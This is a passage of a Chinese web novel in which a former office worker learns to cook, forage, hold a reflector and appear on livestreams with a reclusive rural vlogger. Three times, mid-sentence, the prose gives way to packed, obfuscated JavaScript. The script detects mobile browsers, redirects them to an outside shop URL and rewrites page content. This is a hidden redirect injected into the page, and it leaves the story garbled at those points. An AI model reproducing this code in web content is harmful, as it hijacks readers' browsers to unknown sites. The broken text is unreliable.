陆时砚抬眼看他:“嗯?” 沈叙:“太咸了。我知道。” 陆时砚放下筷子,喝了口粥,然后说:“你第一次做成这样,不错了。” 沈叙愣了一下。 陆时砚又说:“我小时候第一次做饭,把锅烧穿了。” 沈叙想象了一下那个画面,没忍住笑出来。陆时砚看着他笑,嘴角也弯了一点。 吃完饭,沈叙抢着洗碗。这次他洗得很小心,一个都没打碎。 洗完碗出来,他发现陆时砚正在院子里摆弄设备。一台相机,一个三脚架,几个镜头,整整齐齐地排在地上。 沈叙走过去:“今天要拍视频?” 陆时砚点点头:“嗯。素材不够了,得补一些。” 沈叙蹲下来看那些设备。相机是他认识的那个牌子,但他对型号一窍不通。镜头有大有小,有的上面印着红圈,有的没有。 陆时砚看他看得认真,问:“懂这个?” 沈叙摇头:“不懂。以前只见过同事的,他们拿这个拍开箱视频。” 陆时砚拿起最小的那个镜头,装到相机上,然后递给沈叙:“拿着试试。” 沈叙接过相机,沉甸甸的,比他想象的重。他把眼睛凑到取景器上,对准院子里的那棵老槐树。 镜头里,阳光从树叶缝隙里漏下来,每一片叶子都在发光。 他按了一下快门。 “咔嚓”一声,画面定格。 陆时砚走过来,看了一眼相机屏幕,说:“还行。” 沈叙不知道这个“还行”是什么意思,但听他的语气,应该不是坏事。 陆时砚把相机接过去,调了几个参数,又递给他:“再拍一张。” 沈叙再次对准老槐树。 这次镜头里的颜色更深了一点,光影对比更强烈,那些漏下来的阳光好像变成了液体,在叶子上流淌。 他又按了一下快门。 陆时砚看了一会儿,忽然问:“想学吗?” 沈叙抬头看他。 陆时砚指了指相机:“拍视频。想学的话,我教你。” 沈叙愣了一秒,然后说:“想。” 陆时砚点点头,把相机收起来:“那以后拍视频你跟着。先从拿反光板开始。”沈叙不知道反光板是什么,但他点了头。 两人正说着,院门口传来一阵脚步声,紧接着是李大妈的大嗓门:“小陆!小陆在家吗?” 陆时砚站起来:“在。” 李大妈提着一篮子东西进来,看到沈叙,眼睛一亮:“哟,小沈也在啊!正好正好!” 她把篮子往地上一放,里面是满满一篮子的野菜,绿油油的,还带着露水。 “刚挖的荠菜,给你们送点来!”李大妈拍拍手上的泥,“小沈啊,你会包饺子不?” 沈叙老实摇头:“不会。” 李大妈愣了一下,然后笑起来:“不会好啊!不会就得学!来来来,大妈教你!” 沈叙看向陆时砚,眼神里带着一丝求救的意味。陆时砚面无表情地看着他,那表情分明在说:你自己应付。 然后就真的转身进屋了。 沈叙:“……” 李大妈已经拉着他在院子里坐下,开始讲荠菜饺子的前世今生:“这荠菜啊,得挑嫩的,老的嚼不动。洗干净,焯水,剁碎,和肉馅拌一起,加点葱姜末,加点盐,加点香油, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305517|198711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搅拌的时候要顺着一个方向……” 沈叙听得头昏脑涨,但还是一边点头一边记。李大妈讲完,拍拍他的手:“下午你来包,包好了叫我,我帮你尝!” 沈叙还没来得及说话,李大妈已经站起来走了,走得风风火火,留下一篮子荠菜和一个一脸茫然的他。 陆时砚不知道什么时候又出来了,靠在门框上,嘴角带着一丝若有若无的笑意。 沈叙看着他:“你故意的?” 陆时砚没否认,只是说:“你不是要学吗?先从荠菜开始。” 沈叙低头看着那篮子荠菜,忽然觉得李大妈那句“不会好啊”好像不是真心的。他蹲下来,拿起一棵荠菜看了看。叶子嫩绿,根须带着泥,闻起来有一股清香。 他忽然想起一件事,抬头问陆时砚:“荠菜长什么样?我是说,在地里长的时候,怎么认?” 陆时砚走过来,蹲在他旁边,从那篮子里挑出一棵最大的,指给他看:“这个就是。叶子是这样的,边缘有锯齿,开花是白的。” 沈叙认真地看着,努力把那形状记在脑子里。陆时砚又说:“地里现在还有,想认的话,下午带你去挖。” 沈叙抬头看他,眼睛又亮了:“可以吗?” 陆时砚站起来,拍了拍手上的土:“反正是你的饺子。” 沈叙愣了一下,才反应过来他的意思是:你去挖,挖回来你包,包完你吃。 但他还是笑了。 中午吃完饭,两人一人拿一把小铲子,提着一个竹篮子,往村外走。村霸跟在后面,保持着两米的距离。 沈叙回头看了它一眼。 村霸也看着他,眼神里写着:看什么看,这是我的地盘。 沈叙转回头,决定无视。 穿过村子,走过一条田埂,眼前是一片开阔的野地。春天正是万物生长的季节,地里密密麻麻长满了各种植物,绿的黄的紫的,挤挤挨挨。 沈叙看着这一片绿海,两眼一抹黑:“哪个是荠菜?” 陆时砚蹲下来,随手一指:“这个。” 沈叙凑过去看。那棵草和旁边的草长得差不多,叶片边缘确实有锯齿,但和旁边那些锯齿的好像也没太大区别。 陆时砚又指了另一棵:“这个是蒲公英。” 再指一棵:“这个是苦菜。” 再指一棵:“这个是毒芹,不能吃。” 沈叙看着那棵“不能吃”的,默默往后退了一步。 陆时砚看他那样,嘴角又弯了一点:“不用怕,你只要记住荠菜长什么样就行。” 他开始教沈叙怎么认荠菜:叶子是羽状分裂的,摸起来有点粗糙,闻起来有一股清香,根是白的,带一点点甜味。 沈叙蹲在他旁边,一棵一棵地看,一棵一棵地闻,一棵一棵地摸。 阳光晒在背上,暖洋洋的。有风吹过来,野草和野菜一起摇晃,分不清谁是谁。远处有鸟在叫,近处有虫在鸣,村霸不知道什么时候已经趴在地头晒太阳了,把自己摊成一张白色的饼。 沈叙忽然想,他以前在公司的时候,中午在干什么? 好像是在工位上吃外卖,一边吃一边回消息,吃完继续改方案。 他从来没在中午的时候,蹲在一片野地里,学认什么荠菜。 “这棵是。”陆时砚的声音把他拉回来。 沈叙低头一看,陆时砚指着一棵看起来平平无奇的草。他凑近了闻,确实有一股清香。 他试着用小铲子挖下去,土有点硬,铲子不太好使,他费了半天劲,把那棵荠菜挖出来,根断了,叶子也散了几片。 举着那棵残破的荠菜,看向陆时砚,对方看了一眼,说:“还行。继续。” 沈叙又蹲下去找下一棵。 这次他找到一棵大的,小心翼翼地下铲子,慢慢松土,最后整棵挖出来,根完好,叶子完整。 他把那棵荠菜举起来,像举着一个战利品。 陆时砚点点头:“有进步。” 沈叙弯着眼睛笑了。 下午的阳光从头顶慢慢西斜,篮子里的荠菜越堆越多。沈叙的手上全是泥,膝盖上也是泥,但他一点也没觉得累。 村霸不知道什么时候醒了,慢悠悠地走过来,凑到篮子边闻了闻。然后它抬起头,看着沈叙,眼神里写满了:就这? 沈叙和它对视了两秒,忽然把手上的泥往它身上甩了一下。 村霸“嘎”的一声跳开,羽毛都炸起来了,瞪着他,满脸的不可置信。 沈叙乐了。 陆时砚在旁边看着这一幕,没说话,但嘴角的弧度明显大了。 太阳快落山的时候,他们提着满满一篮子荠菜往回走。村霸跟在后面,和沈叙保持着至少三米的距离。 夕阳把整片田野染成金黄色,远处的山影被拉得很长。有炊烟升起来了,飘散在暮色里。 沈叙忽然想起一件事:“对了,那个饺子……怎么包?” 陆时砚脚步顿了顿,回头看他。 沈叙一脸真诚:“你教我吗?” 陆时砚沉默了两秒,然后说:“我只会吃。” 沈叙愣住。 陆时砚接着说:“所以今晚的饺子,你得自己研究。” 沈叙低头看着那一篮子荠菜,又抬头看看越来越暗的天色,忽然觉得李大妈那句“包好了叫我”好像另有深意。 村霸在后面“嘎”了一声,这次听起来很像是在笑他。 4. 荠菜饺子 沈叙蹲在院子里,面对着一篮子荠菜,陷入了沉思。 太阳已经落山了,天边还剩最后一抹橘红色的光,把整个院子染成暖色调。鸡们已经回笼了,村霸也回到了它专属的墙角,正在用嘴巴整理羽毛,时不时斜他一眼,眼神里带着明显的幸灾乐祸。 陆时砚真的进屋了,而且进去之后就没再出来。沈叙听见屋里传来剪辑视频的熟悉音效——那是他昨天刚学会的,Premiere导入素材时的提示音。 这个人,真的不管他了。 沈叙深吸一口气,决定自己动手。 他先把荠菜倒出来,一堆绿油油的叶子摊在地上,有的带根,有的不带,有的叶子上还有泥。他想起李大妈说的“洗干净,焯水,剁碎”,决定先从第一步开始。 院子里有水龙头,他接了一盆水,开始洗菜。荠菜很嫩,水一冲叶子就软了,软塌塌地趴在盆底。沈叙一棵一棵地洗,把根上的泥搓掉,把黄叶摘掉,把藏在叶子里的虫子抖掉。 沈叙看着手心里那只正在蠕动的小青虫,僵住了。小青虫也在他手心里蠕动,好像在找回家的路。 沈叙和它对视了一秒,然后轻轻把它放在旁边的地上,小声说:“你走吧。”小青虫蠕动了两下,头也不回地钻进了墙根的草丛里。 村霸在旁边“嘎”了一声,那表情分明在说:你居然怕虫子? 沈叙没理它,继续洗菜。 洗完菜,他想起李大妈说的“焯水”。他端着盆进厨房,打开火,烧了一锅水。 水开了,他把荠菜倒进去。荠菜一碰到热水,瞬间变成了更深的绿色,软塌塌地浮在水面上。沈叙用漏勺搅了搅,想起焯水好像不能太久,赶紧捞出来。 捞出来的荠菜缩水了一大半,从满满一盆变成小小一团。沈叙看着那团菜,心想:这够包几个饺子? 他把荠菜放在案板上晾着,然后从冰箱里找肉。陆时砚昨天买了肉,还剩一块,正好够用。他把肉拿出来解冻,然后开始研究剁馅。 沈叙把肉切成小块,然后双手握刀,开始剁。 “咚咚咚咚咚咚——”声音在厨房里炸开,震得窗户都在响。他剁得很认真,很用力,每一刀都落在肉上,把肉块从大变小,从小变碎,从碎变成…… 等一下,这好像太碎了。 沈叙看着案板上那摊已经看不出是肉的肉泥,陷入了新的沉思。 李大妈好像没说要剁成这样,但事已至此,也只能这样了。把肉泥刮进碗里,然后开始处理荠菜。焯过水的荠菜挤干水分,放在案板上,切成碎末。这个他擅长,早上刚练过,切得虽然不均匀,但至少都是碎的。 荠菜末和肉泥放在一起,加上葱姜末,加上盐,加上香油,然后—— “搅拌的时候要顺着一个方向”。 沈叙记住这句话了。他拿起筷子,开始顺着一个方向搅拌。 搅了五十圈,肉和菜还是分开的。 搅了一百圈,开始有点黏糊了。 搅了两百圈,手臂酸了,但馅料终于变成一团,看起来有点像饺子馅的样子了。 沈叙擦擦汗,开始准备擀皮。 看看馅料,又看看空荡荡的面盆,忽然意识到自己漏掉了最关键的一步——他不会和面啊。 在厨房里站了一会儿,最后决定出去求助。院子里,天已经完全黑了。月亮还没升起来,只有星星在天上一闪一闪的。村霸已经睡了,把自己缩成一团白球。 沈叙走到陆时砚房间门口,敲了敲门,里面的剪辑音效停了。门打开,陆时砚出现在门口,屋里暖黄的灯光从他身后透出来。 他看着沈叙,问:“怎么了?” 沈叙:“面和好了吗?” 陆时砚愣了一下。 沈叙又说:“就是……饺子皮的面。” 陆时砚沉默了两秒,然后说:“你忙到现在,还没和面?” 沈叙点头。 陆时砚看着他,那表情很复杂,像是想笑,又像是想叹气,最后变成一种奇妙的平静,他说:“你等着。”转身进屋,过了一会儿,端出来一个面盆。 盆里是已经和好的面,用湿布盖着,白白胖胖的一大团。 陆时砚把面盆递给他:“中午和的。猜到你不会。” 沈叙接过面盆,不知道该说什么。 陆时砚已经转身往回走,走到门口,忽然停下,头也不回地说:“包好了叫我,我帮你煮。” 门关上了,沈叙站在原地,抱着那盆面,看着紧闭的门,忽然觉得眼眶有点热。他低头看了看那盆面,又看了看厨房的方向,深吸一口气,转身回去继续战斗。 沈叙在网上搜过擀皮教程,知道要把面搓成长条,切成小剂子,压扁,然后擀成圆片。 理论他都懂,实践是另一回事。 他把面从盆里拿出来,在案板上撒了点干粉,开始搓。面很软,很听话,被他搓成一条歪歪扭扭的长条。他拿起刀,开始切剂子。 第一个剂子,太大。 第二个剂子,太小。 第三个剂子,形状很奇怪。 无奈放弃了均匀的追求,把剩下的面随便切了切,数了数,一共二十三个大小不一的剂子。 然后开始擀皮。 他拿起一个小剂子,压扁,拿起擀面杖,开始擀。擀面杖在他手里不太听话,擀出来的皮一边厚一边薄,形状也不是圆的,更像一个不规则的椭圆。 擀了五个,发现自己擀皮的速度赶不上包的速度,于是决定先包再擀。 拿起一个皮,放上馅,对折,捏紧。 第一个饺子包好了。 沈叙把它放在案板上,仔细端详。 它躺着,肚子鼓鼓的,一边高一边低,捏合的地方歪歪扭扭,像一只刚刚经历了一场恶战的伤员。 沈叙沉默了一秒,拿起第二个皮。 第二个饺子比第一个强一点,至少能站住了,虽然站得歪歪斜斜,像喝醉了酒。 第三个饺子,他尝试捏花边。捏完之后看起来不像饺子,像一只长了刺的河豚。 第四个饺子,他决定不捏花边了,就简单捏紧。结果捏太紧,馅从另一边挤出来了。 第五个饺子,他吸取教训,少放馅。结果包出来扁扁的,像一只饿了三天的流浪饺子。 沈叙越包越认真,越认真越歪。等他包完第十个,回头看看前九个,忽然想起一个词:参差不齐。 这个词原来是为他的饺子准备的。 村霸不知道什么时候醒了,走到厨房门口,探进一个脑袋,看着案板上那些奇形怪状的东西,它的眼神很复杂。沈叙和它对视了一眼,说:“想笑就笑。” 村霸没笑,但它把头缩回去了。 那动作比笑还伤人。 包到第十五个,他的速度明显快了,虽然形状还是不太规则,但至少都能站住了,虽然站得摇摇晃晃。 包到第二十个,他开始掌握技巧了:皮要中间厚边缘薄,馅要不多不少,捏的时候要用力均匀。 包到第二十三个,他包出了今晚最好看的一个饺子。圆滚滚的,胖乎乎的,花边均匀,稳稳当当地站在案板上。 沈叙看着那个饺子,忽然有点感动,他把那个饺子单独放在一边,然后去叫陆时砚。 陆时砚出来的时候,看到案板上的那些饺子,脚步顿了一下。他的目光从左到右扫了一遍,又从右到左扫了一遍,最后落在那个最好看的饺子上。 “这个是你包的?” 沈叙点头。 陆时砚又看了看其他的:“这些也是你包的?” 沈叙再次点头。 陆时砚沉默了两秒,然后说:“你知道这些饺子如果去参加选美,会被直接淘汰吗?” 沈叙:“……” 陆时砚又说:“但如果是参加选丑,能拿冠军。” 沈叙面无表情地看着他。 陆时砚的嘴角弯了一点,拿起那个最好看的饺子看了看:“这个还行,及格了。” 水开了,他一个一个把饺子下进去。饺子在沸水里翻滚,有的浮起来,有的沉下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆时砚没回头:“嗯?” 沈叙:“你中午怎么就猜到我不会和面?” 陆时砚的动作顿了一下,然后继续洗碗:“你连鸡蛋都打不好。” 沈叙无言以对。 陆时砚又说:“而且你问我‘面和好了吗’的时候,语气很心虚。”沈叙回忆了一下,好像确实有点心虚。 水声停了。陆时砚把碗收好,擦干手,回头看他:“明天想学什么?” 沈叙想了想:“擀皮。我要把皮擀圆。” 陆时砚嘴角弯了弯:“行。” 两人走出厨房,月亮已经升起来了,清清冷冷的,把院子照得亮堂堂的。村霸在墙角睡得正香,把自己缩成一个球,偶尔动一动腿,不知道在做什么梦。 沈叙站在院子里,看着月亮,忽然说:“我以前加班到凌晨的时候,经常在窗口看月亮。” 陆时砚站在他旁边,没说话。 沈叙接着说:“那时候月亮也这样,清清冷冷的,看着特别远。我觉得我够不着它,它也照不到我。” 陆时砚侧头看他。 沈叙笑了笑:“现在好像近了一点。” 月光落在他的脸上,把他的轮廓照得很柔和。他穿着那件深灰色的西装,外面套着那条蓝布围裙,围裙上沾着面粉,狼狈又奇怪,但他笑得很放松。 陆时砚看了一会儿,收回目光,说:“月亮没变,是你变了。” 沈叙愣了一下,然后点点头:“好像是。” 两人在院子里站了一会儿,各自回屋。沈叙躺在床上,窗户开着,月光从老槐树的缝隙里漏进来,在床单上晃成一片碎银。远处有狗叫,近处有虫鸣,村霸偶尔在睡梦中“嘎”一声,然后又安静下去。 5. 打光 沈叙睁开眼,窗外的天还没亮透,灰蒙蒙的晨光里,老槐树的影子在墙上晃。他侧耳听了听,声音是从院子里传来的,像是什么东西在地上拖。 他摸过手机看了一眼:五点二十。 比昨天醒得还早。 陆时砚正蹲在院子里,面前摆着那台相机、三脚架、几块黑的黑的白的板子,还有一堆他叫不出名字的东西。那只叫村霸的鹅蹲在他旁边,难得安静,只是偶尔歪一歪脑袋,像是在观摩。 听到开门声,陆时砚抬头看了他一眼:“起这么早?” 沈叙走过去,蹲在他旁边:“你在干什么?” “准备器材。”陆时砚拿起一块白色的板子,“今天拍视频要用。” 沈叙看着那块板子,上面蒙着一层半透明的布,边缘有个手柄。他问:“这是什么?” “反光板。” 沈叙盯着它看了两秒,问:“怎么用?” 陆时衍没回答,而是把板子举起来,对着刚刚露出一点轮廓的远山,调整了一下角度。那层半透明的布把晨光折射成一片柔和的光晕,落在他的脸上,把他的轮廓勾勒得很柔和。 “就是这样用。”他说。 沈叙看着他在晨光里的侧脸,忽然觉得这个画面比什么视频都好看。 村霸在旁边“嘎”了一声,那表情分明在说:你又在想什么失礼的事?沈叙默默移开视线。 早饭是简单的白粥和咸菜。吃完饭后,陆时砚开始给沈叙上课——反光板的使用方法。 “反光板的作用是补光。”陆时砚把板子展开,“逆光的时候,人脸会黑,用它把光反射到脸上,就能看清楚。” “顺光的时候可以不用,或者用来压光。”陆时砚继续讲,“侧光的时候可以用来填充阴影。” 沈叙认真点头,陆时砚看他那认真的样子,把板子递给他:“你试试。” 接过板子,按照刚才看到的姿势举起来,对着陆时砚的脸。 陆时砚:“你对着我干什么?对着太阳。” 沈叙赶紧调整方向。板子在他手里不太听话,角度怎么都对不准,光斑一会儿落在地上,一会儿落在墙上,就是落不到陆时砚脸上。 陆时砚走过来,站在他身后,伸手帮他调整角度。 他又离得很近,近到沈叙能闻到他身上淡淡的皂角味,混着早晨的阳光和露水的味道。 “手腕放松,不要绷着。”陆时砚的声音在他耳边响起,“对,就是这个角度。光反射回来,照在拍摄对象上。” 沈叙僵硬地举着板子,大脑一片空白。 “记住了?” “嗯。” 陆时砚退后一步:“那你举着,我去拿相机。”他转身走了。沈叙站在原地,举着那块反光板,光斑落在空地上,亮晃晃的一团。 村霸走过来,蹲在那团光斑里,开始晒太阳。沈叙看着它,它眯着眼睛看他,那表情分明在说:反正你不用,我用了。 陆时砚拿着相机出来,看到这一幕,嘴角弯了弯:“看来它很喜欢你。” 沈叙:“它明明是喜欢光。” 陆时砚:“光是你打的。” 沈叙愣了一下,忽然觉得这句话好像有哪里不对。 今天的拍摄地点在村后的山坡上。陆时砚说要去拍春天的野花,那些星星点点的小野花,只有这个季节才有。 沈叙背着反光板,提着装器材的包,跟在陆时砚后面。村霸居然也跟着,保持着三米的距离,不紧不慢地走。 山坡不高,但路不好走,都是土路,还有碎石子。沈叙穿着他的深灰色西装,皮鞋踩在石子上,发出咯吱咯吱的响声。 陆时砚回头看了一眼他的鞋,什么也没说,但那表情沈叙已经能读懂了:你自找的。 山坡上果然有很多野花。紫色的、黄色的、白色的,小朵小朵地开在草丛里,不仔细看都发现不了。陆时砚架好相机,开始取景。沈叙举着反光板,按照他说的角度调整,把阳光反射到那些小花上。 村霸蹲在旁边,看着他们忙碌,偶尔低头啃一口草,然后皱起眉头——好像不太好吃。 陆时砚拍了很久,一会儿趴在地上,一会儿蹲着,一会儿又站起来换镜头。沈叙一直举着反光板,手臂开始发酸,但他没吭声。 拍完一组,陆时砚回头看他:“累吗?” 沈叙:“还行。” 陆时砚走过来,接过反光板看了看他举的位置,然后说:“其实刚才那个角度,可以不用一直举着。” 沈叙:“……你怎么不早说?” 陆时砚:“你也没问。” “……” 村霸在旁边“嘎”了一声,这次明显是在笑。 中午太阳大了,不适合拍,两人收拾东西往回走。路过一块大石头,陆时砚忽然停下,指着石头缝里的一丛野花:“这个没见过。” 沈叙凑过去看。那丛花很小,淡紫色的花瓣,中间是黄色的蕊,长在石头缝里,倔强地开着。 陆时砚拿出相机,换了个微距镜头,趴在地上开始拍。沈叙举着反光板,帮他补光。 阳光从头顶照下来,陆时砚趴在地上,专注地盯着取景器,完全没注意到自己的T恤上沾了土,头发上也落了一小片草叶。 沈叙看着他那副样子,忽然觉得这个人好像也没那么高冷了。 拍完那丛花,陆时砚站起来,拍了拍身上的土,接过反光板收起来。他看了沈叙一眼,忽然问:“你笑什么?” 沈叙一愣:“我没笑。” 陆时砚:“你刚才嘴角弯了。” 沈叙:“……那是太阳晒的。” 陆时砚看了他一眼,那表情分明在说:你编。但他什么也没说,转身往回走。 沈叙跟在后面,走了两步,忽然发现村霸没跟上来。回头一看,那只鹅正站在那块大石头上,昂着头,眺望远方的山,姿势像一尊雕塑。 沈叙喊它:“喂,走了。” 村霸没动。 沈叙又喊了一声:“村霸!” 村霸这才慢悠悠地转过头,居高临下地看了他一眼,然后从石头上跳下来,迈着六亲不认的步伐走过来。 路过沈叙的时候,它忽然停下来,用嘴巴啄了啄他的裤腿。 沈叙低头一看,裤腿上沾了一根草。他愣了一下,抬头看向村霸。村霸已经走远了,背影看起来很拽。 下午,陆时砚在剪辑上午拍的素材。沈叙坐在旁边看,一边看一边记。 屏幕上,那些小野花在阳光下闪闪发光,光线柔和,色彩饱满,看起来比实物好看多了。 陆时砚一边剪一边给他讲:这个镜头为什么留,那个镜头为什么删,这段配乐应该用什么风格,那个转场可以怎么处理。 沈叙听得认真,偶尔问一两个问题。陆时砚的回答永远简短,但总能说到点子上。 剪到一半,陆时砚忽然停下来,指着屏幕上的一个镜头:“你看这个。” 沈叙凑过去看。那是上午拍的那丛石头缝里的花,光线正好,花瓣半透明,能看见细密的纹路。 “这个光线,是你刚才补的。”陆时砚说。 陆时砚接着说:“没有反光板,拍不出这个效果。” 沈叙看着屏幕上那朵花,忽然觉得手臂的酸痛都值了。 晚饭后,两人坐在院子里乘凉。天还没黑透,西边还有一抹橘红色的光,把云彩染成淡淡的粉色。村霸在墙角打盹,偶尔动一动腿。 沈叙忽然问:“你以前拍的风景,都是这样的吗?” 陆时砚沉默了一会儿,然后说:“以前拍过很多地方。雪山,沙漠,草原,海边。” 沈叙想象了一下那些画面,问:“那你为什么回来了?” 陆时砚没回答。 沈叙意识到自己可能问了不该问的,正想岔开话题,陆时砚忽然开口:“拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305519|198711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够了。” 就三个字。但沈叙听出了那三个字后面的东西,识趣地没有继续问。 月亮升起来了,比昨晚更圆一点,清清冷冷地挂在天上。院子里很安静,只有虫鸣声此起彼伏。 陆时砚忽然站起来,走进屋里。过了一会儿,他拿着一个旧相册出来,递给沈叙。 沈叙接过来,翻开。 第一页,是一张雪山的照片。白雪覆盖的山峰,在阳光下闪闪发光,蓝得不真实的天,还有经幡在风中飘扬。 他翻到第二页,是一片沙漠。连绵起伏的沙丘,被夕阳染成金红色,有一串脚印延伸向远方。 第三页,是一片草原。风吹草低,牛羊成群,天边的云压得很低,好像一伸手就能碰到。 第四页,是一片海。浪花拍打着礁石,海鸥在天空盘旋,远处的海平面和天连在一起,分不清边界。 每一张都美得不真实,沈叙一页一页翻着,忽然停下来。 这一页只有一张照片,是一个背影。那人站在山巅,背对镜头,面朝远方的云海。风吹起他的衣角,他的头发有些乱,但整个画面安静得像是永恒。 沈叙看着那个背影,问:“这是谁?” 陆时砚沉默了一会儿,说:“以前的搭档。” 沈叙没再问。 他把相册合上,还给陆时砚。 陆时砚接过相册,低头看了一会儿,忽然说:“这个人,后来分开了。照片留在我这里,人走了。” 沈叙不知道该说什么。陆时砚把相册放在一边,靠在椅背上,看着天上的月亮:“那几年拍了很多地方,但拍到最后,发现镜头里都是空的。”他的声音很平静,像是在说别人的事。 “后来我就不拍了。回来,开始拍这些花花草草,鸡鸭鹅狗。”他顿了顿,“至少它们不会走。” 沈叙听着,心里忽然有点酸。 他想起自己刚来那天,陆时砚站在院子里,穿着那件洗得发白的灰T恤,表情淡淡的,好像对什么都不太在意。 原来不是不在意。 是不敢在意。 村霸不知道什么时候醒了,慢悠悠地走过来,在陆时砚脚边蹲下,把脑袋搁在他鞋面上。 陆时砚低头看了它一眼,没动。 沈叙忽然问:“它叫什么来着?” 陆时砚:“村霸。” 沈叙:“全名呢?” 陆时砚想了想:“陆村霸。” 沈叙愣了一下:“跟你姓?” 陆时砚:“嗯。捡的。” 沈叙看着那只把脑袋搁在陆时砚鞋面上的鹅,忽然觉得它也没那么凶了。 可能是月光太温柔,可能是晚风太轻,也可能是那个人坐在旁边的样子太安静。沈叙忽然想伸手拍拍他的肩膀,告诉他:我不会走。 最后他没动,只是坐在那里,和他一起看月亮。过了很久,陆时砚忽然说:“明天还要拍,早点睡。” 他站起来,把相册夹在腋下,往屋里走。走了两步,又停下,头也不回地说:“今天反光板举得不错。” 沈叙坐在院子里,看着他的背影消失在门里,嘴角慢慢弯起来。村霸还蹲在他脚边,抬头看他,那表情分明在说:你傻笑什么? 沈叙低头看它:“他说我举得不错。” 村霸“嘎”了一声,那表情分明在说:就这? 但沈叙还是笑。 月亮很亮,晚风很轻,院子里很安静。他坐在那里,看着那扇已经关上的门,心里忽然涌起一个念头: 他想留下来。 作为能陪他一起看月亮的人,留下来。 这个念头一冒出来,他自己都吓了一跳。他赶紧站起来,拍了拍身上的灰,往自己屋里走。 走了两步,又回头看了一眼那扇门,门关着,里面没有灯光,什么都看不见。 这夜,他难得失眠。 因为心跳得太快了。 6. 直播事故 沈叙一夜没睡好,他一会儿想起陆时砚说的“以前那个搭档”,一会儿想起他说“至少它们不会走”,一会儿又想起他站在月光下说“今天反光板举得不错”时候的表情。 其实也没什么表情,就是淡淡的,但沈叙越想越觉得那语气里好像有点别的意思。 然后他就开始骂自己:沈叙啊沈叙,人家就是随口一说,你在这儿脑补什么八百集连续剧? 骂完管用五分钟,五分钟后又开始想。折腾到后半夜才睡着,醒来的时候天已经大亮了。 阳光透过老槐树的叶子照进来,在床单上晃成一片碎金。沈叙摸过手机一看——七点四十。 他一个激灵坐起来。 七点四十!说好的六点学做饭呢! 他手忙脚乱地套上衣服冲出房间——还是那件深灰西装,他没有别的选择了——跑到厨房门口,掀开门帘,看见陆时砚正坐在灶台前的小板凳上,手里端着一碗粥,慢条斯理地喝。 灶台上摆着两个碗,一个已经空了,一个还满着。陆时砚抬头看他一眼,说:“醒了?” 沈叙喘着气:“我睡过头了……” 陆时砚指了指那碗满着的粥:“给你留着。快吃,凉了。” 沈叙愣在那里,一时间不知道说什么。陆时砚已经低头继续喝粥了,好像这根本不是什么大事。 沈叙走过去,端起那碗粥,温的,不烫不凉正好入口。他坐在另一只小板凳上,埋头喝粥,喝了两口,忽然问:“你怎么不叫我?” 陆时砚说:“你昨晚睡得晚。” 沈叙愣了一下:“你怎么知道?” 陆时砚没回答,只是把空碗放进水池里,站起来说:“今天不学做饭,有别的任务。” 沈叙想问“你怎么知道我睡得晚”,但看他已经走出厨房,只好把话咽回去,几口把粥喝完,追了出去。 院子里,陆时砚正在架手机。不是那台专业的相机,就是普通的手机,架在一个小小的三脚架上。 沈叙问:“今天拍什么?” 陆时砚说:“不拍。直播。” 沈叙愣住了。 直播? 他来这些天,陆时砚从来没直播过。他看过陆时砚的账号,上次直播还是三个月前,粉丝们天天在评论区嚎“陆老师什么时候直播”,他都不为所动。 怎么今天突然要直播? 陆时砚看出他的疑问,说:“平台有活动,直播有流量扶持。正好剪完视频了,播一会儿。” 沈叙点点头,但又想起一件事:“那你直播,我干什么?” 陆时砚看了他一眼,说:“你在我旁边坐着。” 沈叙:“……啊?” 陆时砚:“粉丝想看助理。上次视频里你的手出镜,她们一直在问。” 沈叙低头看看自己的手,又看看陆时砚,忽然紧张起来:“那我……我该说什么?我要不要躲着?会不会影响你?” 陆时砚说:“不用躲。坐着就行。想说话就说,不想说就不说。”他说得轻描淡写,好像这根本不是什么大事。 但沈叙紧张得手心都出汗了。 他以前在大厂,什么场面没见过?上百人的会议他主持过,几千万的项目他汇报过,从来没紧张过。 但想到要出现在陆时砚的直播间里,面对那些不知道多少万的粉丝,他忽然觉得腿有点软。 陆时砚看他那样,嘴角弯了一点:“怕?” 沈叙硬着头皮说:“不怕。” 陆时砚点点头:“那就行。”说完打开了直播,沈叙连深呼吸都来不及做,手机屏幕上就已经开始飘弹幕了。 【啊啊啊啊陆老师开播了!】 【三个月了你知道这三个月我怎么过的吗!】 【前排合影!】 【等等,陆老师旁边是谁???】 【是助理小哥吗是助理小哥吗是助理小哥吗】 沈叙僵坐在那里,看着弹幕像瀑布一样往下刷,大脑一片空白。 陆时砚对着镜头打了个招呼,声音还是那副不紧不慢的样子:“下午好。今天没什么事,随便播一会儿。” 弹幕又开始狂刷: 【背景是院子!想念这个院子!】 【那只鹅呢!我们要看鹅!】 【助理小哥为什么不说话!】 【助理小哥看镜头!】 沈叙被最后那条弹幕吓到了,下意识看向陆时砚。对方侧头看了他一眼,然后对镜头说:“助理有点紧张,你们别吓他。” 弹幕瞬间疯了: 